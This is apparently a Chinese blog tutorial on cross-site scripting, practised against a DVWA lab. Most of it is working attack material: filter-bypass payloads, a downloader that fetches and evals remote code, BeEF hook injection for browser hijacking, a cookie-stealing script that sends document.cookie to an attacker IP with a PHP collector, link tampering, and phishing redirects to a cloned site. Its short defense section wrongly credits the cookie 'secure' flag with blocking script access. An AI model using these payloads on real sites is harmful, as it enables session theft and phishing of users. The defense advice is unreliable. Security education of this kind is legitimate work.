文章目录

  • XSS 漏洞概述
    • XSS 分类
    • XSS 危害
    • XSS 漏洞的验证
    • XSS 的构造
    • XSS 的变形(绕过方式)
    • Shellcode 的调用
      • 远程调用JS
      • windows.location.hash
      • XSS Downloader
      • 备选存储技术
    • XSS 的应用
      • 浏览器劫持
        • beef 的安装与基本利用
          • 利用存储型XSS 进行浏览器的劫持
          • 固定会话攻击
      • 盗取Cookie
      • 篡改链接
      • 钓鱼网站
    • XSS 的防御
      • 使用XSS Filter
      • 设置httponly
    • XSStrike工具
      • 安装
      • 使用

XSS 漏洞概述

XSS是OWASP TOP 10 之一。

XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象"空间特别大。

XSS通过将精心构造的JS代码注入到网页(服务器上)中,并由浏览器(客户端)解释运行这段JS代码,以达到恶意攻击的效果。当用户访问被XSS脚本注入的网页,XSS脚本就会被提取出来。用户浏览器就会解析这段XSS代码,也就是说用户被攻击了。所以说XSS是一种被动的攻击。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。也就是说,XSS的攻击对象是用户和浏览器。

总结:XSS漏洞发生在服务器!需要被攻击者主动触发!

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。

也就是说攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

XSS 分类

  • 反射型XSS(非持久性XSS)
    这种攻击往往具有一次性。
    反射型XSS是非持久性、参数型的跨站脚本。反射型XSS 的JS代码在web应用的参数(变量)中,如搜索框的反射型XSS。
    攻击者通过邮件等形式将包含XSS代码的链接发送给正常用户,当用户点击时,服务器接受该用户的请求并进行处理,然后把带有XSS的代码发送给用户。用户浏览器解析执行代码,触发XSS漏洞。

    输入js代码:<script>alert(document.cookie)</script>来获取cookie值
  • 存储型XSS(持久性XSS)
    攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性。
    攻击者可以在论坛、博客、留言板中,发帖的过程中嵌入XSS攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发XSS代码。

  • DOM型XSS
    DOM型XSS全称Document Object Model,使用DOM动态访问更新文档的内容、结构及样式。
    DOM XSS比较特殊。owasp 关于DOM型XSS的定义是基于DOM的XSS是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器上,这也就使得DOM XSS比较难以检测。如下面的例子
    DOM结构图:


    在后面加上js代码就可以执行

    改变了DOM树结构

XSS 危害

XSS利用JS代码实现攻击,有很多种攻击方法,以下简单列出几种:

  • 盗取各种用户账号
  • 窃取用户Cookie资料,冒充用户身份进入网站
  • 劫持用户会话,执行任意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

XSS 漏洞的验证

我们可以用一段简单的代码,验证和检测XSS 漏洞的存在,这样的代码叫做PoC(Proof ofConcept)。

  • PoC:漏洞的验证和检测代码。

  • EXP:漏洞的完整利用工具。

  • shellcode:利用漏洞时所执行的代码。

  • payload:有效载荷

    • 在sqlmap中:攻击代码的模板
    • msf中:与shellcode类似,功能是建立与目标的连接

验证XSS 漏洞存在的PoC 如下:

<script>alert(/xss/)</script>      常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script "'Oonn>   看过滤了什么

我们发现,提交的代码<script>alert(/xss/)</script>,被当作字符串输出在HTML页面中,浏览器会根据<script>标签识别为JS
语句,并会执行它,执行弹窗操作。也就是说,可以执行其他JS代码,因此我们验证了XSS漏洞的存在性。

XSS 的构造

  • 用[<>]构造HTML/JS
    可以利用[<>]构造HTML标签和<script>标签。
    在测试页面提交参数<h1 style='color:red '>利用[<>]构造HTML/JS</h1>
    提交<script>alert( /xss/ )</ script>
  • 伪协议
    也可以使用javascript:伪协议的方式构造XSS
    提交参数<a href="javascript:alert(/xss/ ) ">touch me!</a>
    然后点击超链接,即可触发XSS。只在IE浏览器成功!
    也可以使用img标签的伪协议<img src="javascript:alert( 'xss ')">
    但是这种方法在有的浏览器好像不支持!只在IE6.0浏览器成功过!
  • 产生自己的事件
    "事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS。
    如:<img src='. / test.jpg' onmouseover='alert(/xss/)'>这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
    单行文本框的键盘点击事件:<input type="text" onkeydown="alert(/xss/)">,当点击键盘任意一个按键的时候出发。
事件种类 介绍
Windows事件 对Windows对象触发的事件
Form事件 HTML表单内的动作触发的事件
Keyboard事件 键盘按键触发的事件
Mouse事件 由鼠标或类似用户动作触发的事件
Media事件 由多媒体触发的事件
  • 其他标签以及手法(基于事件)
    <svg onload="alert(/xsS/)">H5的标签。
    <input onfocus=alert( /xss/ ) autofocus>自动聚焦,直接触发

XSS 的变形(绕过方式)

我们可以构造的XSS 代码进行各种变形,以绕过XSS过滤器的检测。变形方式主要有以下几种:

  • 大小写转换
    可以将payload 进行大小写转化。如下面两个例子:
    <Img sRc='#' Onerror="alert(/xss/ )"/>
    <a hREf="javaScript:alert(/xss/ )">click me</a>
  • 引号的使用
    HTML语言中对引号的使用不敏感,但是某些过滤函数是"锱铢必较”。
    <img src="#"onerror="alert( /xsS/ )"/>
    <img src='#' onerror='alert(/xss/ ) '/>
    <img src=# onerror=alert( /xss/ ) />
  • [/]代替空格
    可以利用左斜线代替空格
    <Img/ sRc='# '/0nerror='alert( /xss/)'/>
  • 回车
    我们可以在一些位置添加Tab (水平制表符)和回车符,来绕过关键字检测。
    <Img/ sRc='#'/0nerror ='alert( /xss/)'/>
    <A hREf="j ava sc ript:alert( /xss/ )">click me!</a>
  • 对标签属性值进行转码
    url编码:%+对应的ASCII码
    html编码:&#+对应的十进制ASCII码或对应的Unicode编码,&#x+对应的十六进制ASCII码
    JavaScript编码:\u后面加上4位的16进制数字或是\x后面加上2位的十六进制数字,不足位数的以0填充
    可以对标签属性值进行转码,经过简单编码之后的样子。
    <A hREf="javascript:alert(/xss/) ">click me!</a>
    \\x+16进制转换成js能够识别的16进制码:\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
    \\u00+16进制转换成js能够识别的Unicode编码:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
    将语句进行base64编码,使用函数atob解码,然后执行:eval(atob('YWxlcnQozG9jdW1lbnQuZG9tYWluKQ=='));

    可以将以下字符插入到头部位置:SOH—&#01;、STX—&#02;
  • 拆分跨站(将一条js代码拆成好几条执行)
    <script>z='alert'</script> <script>z=z+'(/xss/)'</script> <script>eval(z)</ script>
  • 双写绕过
    例如:<scr<script>ipt>
  • 利用CSS特性绕过
    background:url("javascript:alert(document.domain);"); 设置背景颜色,利用伪协议执行js。
    利用css的注释/**/进行关键字过滤的绕过xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1,})
    目前仅在IE8之前版本的浏览器(IE中还可以使用``来进行闭合左边的双引号)中支持,其他浏览器不支持。

Shellcode 的调用

Shellcode 就是在利用漏洞所执行的代码。
完整的XSS攻击,会将Shellcode存放在一定的地方,然后触发漏洞,调用Shellcode。

远程调用JS

可以将JS 代码单独放在一个JS 文件当中,然后通过HTTP 协议远程加载该脚本。如:<script src="http://IP/目录/xss.js"></script>,这是比较常用的方式。xss.js 的内容如下:alert('xss.js');

特点:js 代码可以放在我们本地的服务器里,注入的时候不用再写一大堆代码了,只需要用链接即可

注意:使用http协议直接访问js 文件时会返回纯文本。

windows.location.hash

我们也可以使用js 中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows.location.hash会获取URL 中#后面的内容,例如:http:// domain.com/index.php#comeon, windows.location.hash的值就是#comeon

所以我们可以构造如下代码:
?name=<script>eval(location.hash.substr(1))</script>#alert(/this is windows.location.hash/),直接提交到测试页面

XSS Downloader

XSS下载器就是将XSS代码写到网页中,然后通过AJAX技术,取得网页中的XSS代码。
在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下:~~~BOF|alert(/xss/)|EOF~~~

常见的下载器如下:

<script>
function XSS() {if (window.XMLHttpRequest) {a = new XMLHttpRequest() ;}else if (window.ActiveXObject) {a = new ActiveXObject( "Microsoft.XMLHTTP");else {return;}a.open('get',' http://IP/目录/xss_downloader.php',false) ;a.send() ;b=a.responseText;eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));}
XSS() ;
</script>

注意:Ajax 受同源策略的限制,为了解决这个问题,我们需要在服务端代码中加入几句代码:

<?php
header ('Access-Control-Allow-Origin: *') ;
header ('Access-Control-Allow-Headers: Origin, X-Requested-with, Content -Type,Accept') ;
?>

备选存储技术

我们可以把She llcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。我们以HTTP Cookie 为例子。

在实战过程中,可以将自己的名字注册成xss 代码,别人一访问你的主页,主页肯定会打印你的名字然后就会执行这段js 代码。

XSS 的应用

浏览器劫持

beef 是一款XSS 漏洞的利用平台,是个XSS 神器。
我们要使用beef 来进行浏览器的劫持

beef 的安装与基本利用

由于最新版的kali好像没有自带这个软件,使用apt-get install beef-xss命令进行安装
安装完成之后进入beef 的安装目录:/usr/share/beef-xss/

由于beef 的启动不让用默认的用户名和密码,会启动失败
所以我们要修改配置文件来更改用户名和密码,修改之前建议备份一个

修改完之后启动:beef-xss或者是进入安装目录下执行./beef

启动之后会自动在浏览器打开控制界面

登录后台管理控制台:

启动之后会自动生成web 控制台:http://127.0.0.1:3000/ui/panel以及Shellcode:<script src="http://127.0.0.1:3000/hook.js"></script>里面包含了自动生成的钩子hook.js
只要谁运行了这段Shellcode,对应的网站就会被钩子钩住,然后出现在管理控制台中!
还有访问这个测试页面http://127.0.0.1:3000/demos/butcher/index.html也会出现在管理控制台中

例如:我用本机来访问
查看控制台:

这时候浏览器已经被劫持了!我们可以使用命令来操控对方的浏览器:

例如:我们可以使用重定向命令让对方访问我们想要它访问的页面


注意:测试网页一退出就会直接下线,不能进行操作了

利用存储型XSS 进行浏览器的劫持

我们在DVWA 中打开存储型的XSS 输入Shellcode:

我们提交了之后会刷新页面,只要一刷新页面,js会立即执行,然后我们就被劫持了

在其他虚拟机里使用不同的账号访问同样的页面:
发现也会被劫持:

拿到cookie之后就可以实现cookie欺骗

固定会话攻击

我们可以在浏览器中写入cookie来绕过登录验证:

由于DVWA登录之后才能够使用,我们用其他浏览器直接访问XSS 漏洞页面会重定向到登陆界面

我们写入cookie

再进行访问:

盗取Cookie

存在反射型XSS 漏洞的站点可以利用以下链接来盗取Cookie
url?uname= <script>document.location=http://ip/cookie.php?cookie="+document. cookie: </script>
将链接发送给用户,用户点击即触发XSS漏洞。同时可以使用URL编码迷惑用户。

cookie.php代码:

<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);//将得到的cookie存储在文件中
?>

例:
用户直接访问http://192.168.35.129/DVWA-master/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.35.129/xss_ test/cookie.php?cookie='+document.cookie</script>#
进行提交

会重定向到我们的页面:

查看截取到的cookie

截取到cookie之后,我们就可以使用它的身份来访问他的主页,上传webshell,提高权限。

篡改链接

window.onload:当窗口加载时,会执行

使用for循环遍历所有获得的链接a标签:

<script>
window.onload = function(){var link = document.getElementsByTagName("a");for(var i = 0;i < link.length;i++){link[i].href = "http://....com";}
}
</script>

将篡改代码注入到对应的XSS 位置。

这里的url链接我们可以替换成我们想要增加流量的页面(例如:微博增加访问量)或是恶意链接。

钓鱼网站

使用setoolkit 工具克隆网站

输入y之后进入界面:

会有选项:我们先选择1,然后2,再是3,然后选择2就进入了克隆网站的功能,回车后输入要克隆的url

复制成功后我们进行访问:

我们在存储型的XSS 进行演示:
输入:<script>window.location="http://192.168.35.031"</script>,直接重定向到我们自己的网站

用户在不知情的情况下进行了账户密码的提交(页面不会跳转会自动刷新),就会被我们看到:

XSS 的防御

使用XSS Filter

XSS Filter 的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果。

  • 输入过滤
    "永远不要相信用户的输入"是网站开发的基本常识,对于用户输入一定要过滤,过滤,再过滤。

    • 输入验证
      简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。一般包括:
      输入是否仅包含合法的字符
      输入字符串是否超过最大长度限制
      输入如果为数字,数字是否在指定的范围
      输入是否符合特殊的格式要求,如E一mail地址、IP地址等。
    • 数据消毒
      过滤和净化掉有害的输入。
      使用:
      htmlspecialchars()函数进行字符串到实体的转换!
      htmlentities()函数将一些特殊的字符转换为HTML实体,例如:<转换为$lt;
      strip_tags()函数剥去字符串中的php、html、xml的标签,并且会剥离html的注释
  • 输出编码
    HTML 编码主要是用对应的HTML 实体代替字符
  • 黑白名单
    不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。
    黑名单:不允许的数据
    白名单:允许的数据

设置httponly

在设置cookie的时候,将secure 设置为true,就可以防止js 读取cookie值
setcookie(name,value,expire,path,domain,secure)

XSStrike工具

XSStrike是一款检测Cross Site Scripting的高级检测工具。它集成了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个解析器分析响应,然后通过与模糊引擎集成的上下文分析来保证有效负载。除此之外XSstrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。

项目地址:https://github.com/s0md3v/XSStrike

安装

由于XSStrike只可以运行在python 3.6以上版本,所以必须使用python3.6版本。

输入python3 来查看自己的版本(没安装的先安装):

然后安装pip:

然后将项目克隆到本地:

再安装requirements.txt里面要求的一些组件,不然会开启失败

再给执行权限:

这时候就可以通过执行这个py脚本来运行了(注意要用python3启动)

使用

我们先建立一个具有反射型XSS 漏洞的php脚本:

<html>
<?php
$n = $_GET['n'];
echo $n;
?>
</html>

这里加上html标签才能扫描成功,不知道为什么…
不加是这样的:

加了之后正常:

使用生成的payload去检测:

发现弹窗

渗透测试之XSS(跨站脚本攻击)相关推荐

  1. 渗透知识-XSS跨站脚本攻击

    XSS跨站脚本攻击:两种情况.一种通过外部输入然后直接在浏览器端触发,即反射型XSS:还有一种则是先把利用代码保存在数据库或文件中,当web程序读取利用代码并输出在页面上时触发漏洞,即存储型XSS.D ...

  2. 网络安全与渗透:xss 跨站脚本攻击(十二)此生无悔入华夏,男儿何不带吴钩

    中华人民共和国网络安全法 阅读本文前,请熟读并遵守中华人民共和国网络安全法: http://gkhy.jiujiang.gov.cn/zwgk_228/jc/zcwj/202006/P02020061 ...

  3. XSS(跨站脚本攻击)相关内容总结整理

    XSS的攻击相关资料整理 文章目录 XSS的攻击相关资料整理 跨站脚本攻击(XSS) XSS 简介 XSS 危害 XSS 原理 XSS 分类 XSS 防御总结 XSS 问答 参考资料 跨站脚本攻击(X ...

  4. 安全漏洞中的倚天剑——XSS跨站脚本攻击

    one.概念 XSS跨站脚本攻击(Cross-Site Scripting)就是网站将用户输入的内容输出到页面上,在这个过程中可能有恶意代码被浏览器执行,XSS属于被动式的攻击,因为其被动且不好利用, ...

  5. XSS跨站脚本攻击实例讲解,新浪微博XSS漏洞过程分析

    2011年6月28日晚,新浪微博遭遇到XSS蠕虫攻击侵袭,在不到一个小时的时间,超过3万微博用户受到该XSS蠕虫的攻击.此事件给严重依赖社交网络的网友们敲响了警钟.在此之前,国内多家著名的SNS网站和 ...

  6. XSS跨站脚本攻击原理与常见的脚本及《XSS跨站脚本攻击剖析与防御》摘录总结

    XSS跨站脚本攻击原理与常见的脚本及<XSS跨站脚本攻击剖析与防御>摘录总结 一.XSS跨站脚本攻击的原理 1.什么是XSS跨站脚本 2.跨站脚本攻击产生因素 二.XSS跨站脚本攻击的类别 ...

  7. 小迪安全--xss跨站脚本攻击

    xss跨站脚本攻击 xss原理 危害 pikachu靶场 反射型xss 存储型xss DOM型xss xss平台 cookie和session 利用cookie webshell箱子 xss常见位置 ...

  8. 全网最详细XSS跨站脚本攻击,不是过来打死我!!

    XSS(跨站脚本攻击)详解 XSS的原理和分类 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆, ...

  9. [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)

    这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步.前文分享了Python弱口令攻击.自定义字典生成,并构建了Web目录扫描器:本文将 ...

最新文章

  1. springmvc教程--注解开发基础详解
  2. 使用java api操作HDFS文件
  3. anaconda怎么运行python程序_Anaconda安装指南(#x27;conda#x27; 不是内部或外部命令,也不是可运行的程序 或批处理文件)...
  4. Flex4_操作XML
  5. (16)python_random学习笔记
  6. 【Django 2021年最新版教程7】前端html接收后端传递的变量值 渲染
  7. vs工程生成自定义图标的exe
  8. DAOS 系统内部介绍(一)—— 概述
  9. 数据挖掘面试 150 道题(附答案)
  10. web快速入门之基础篇-js:3_3、简易购物车
  11. 人工神经网络实验项目:论文复现
  12. 数据挖掘Task 5: 模型融合
  13. 文本特征提取——one-hot
  14. 找女朋友2109(快排)
  15. 函数周期表丨INTERSECT
  16. is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for
  17. 也谈男士品牌(综合版)
  18. 数学物理方法·基础⑤复数序列
  19. 修改SpringBoot内置Tomcat的端口
  20. tightvnc viewer 传文件_丢掉U盘,TinyPXESever网络启动WinPE,TightVNC远程控制(无人值守)装系统(无显示器也可测试)...

热门文章

  1. android源码下载(上)
  2. Autosar代码包初识 3 - 创建RH850的GreenHills工程编译Autosar Demo工程
  3. jetson nano opencv 打开 CSI摄像头_OpenCV基础操作-读取、几何变换、阈值
  4. webstorm 扩大内存
  5. 疫情开发,软件测试行情趋势是怎么样的?
  6. 题目:代码实现判断单链表是否有环
  7. 源代码防泄密加密介绍
  8. 大厂面试八股文——C++
  9. Adobe Premiere Pro 2020 入门教程(二)新建项目和软件界面的介绍
  10. chrome模拟手机浏览器方法